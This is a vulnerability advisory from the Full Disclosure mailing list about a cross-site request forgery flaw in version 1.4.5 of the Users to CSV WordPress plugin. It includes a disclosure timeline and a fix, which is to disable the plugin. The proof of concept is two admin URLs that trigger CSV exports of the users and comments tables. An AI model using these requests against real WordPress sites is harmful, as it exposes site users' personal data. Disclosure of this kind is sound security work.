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Cross-Site Request Forgery Vulnerability in Users to CSV Wordpress Plugin v1.4.5


From: Nitin Venkatesh <venkatesh.nitin () gmail com>
Date: Mon, 15 Jun 2015 13:15:01 +0000

# Title: Cross-Site Request Forgery Vulnerability in Users to CSV Wordpress
Plugin v1.4.5
# Submitter: Nitin Venkatesh
# Product: Users to CSV Wordpress Plugin
# Product URL: https://wordpress.org/plugins/users-to-csv/ (disabled)
# Plugin SVN URL: https://plugins.svn.wordpress.org/users-to-csv/ (active)
# Vulnerability Type: Cross-site Request Forgery [CWE-352]
# Affected Versions: v1.4.5 and possibly below.
# Tested versions: v1.4.5
# Fixed Version: None. Support for the plugin has been deceased.
# CVE Status: None/Unassigned/Fresh

## Product Information:

This plugin adds an admin screen under "Users", giving two options:
exporting the current users to a csv file and exporting the unique
commenters on your blog to a csv file.

## Vulnerability Description:

User information can be exported via a GET request to users.php via CSRF.

## Proof of Concept:

http://localhost/wp-admin/users.php?page=users2csv.php&csv=true&table=users
http://localhost/wp-admin/users.php?page=users2csv.php&csv=true&table=comments

## Solution:

Disable the plugin. Support has been ceased.

## Disclosure Timeline:

2015-06-08 - Discovered. Contacted developer.
2015-06-08 - Developer responds that support for plugin has ceased.
2015-06-13 - Noticed plugin site has been disabled. It must’ve happened
somewhere between 2015-06-09 and 2015-06-13. Contacted developer for
re-confirmation.
2015-06-14 - Developer gives go-ahead for publishing a disclosure.
2015-06-15 - Publishing disclosure on Full Disclosure mailing list.

## Disclaimer:

This disclosure is purely meant for educational purposes. I will in no way
be responsible as to how the information in this disclosure is used.

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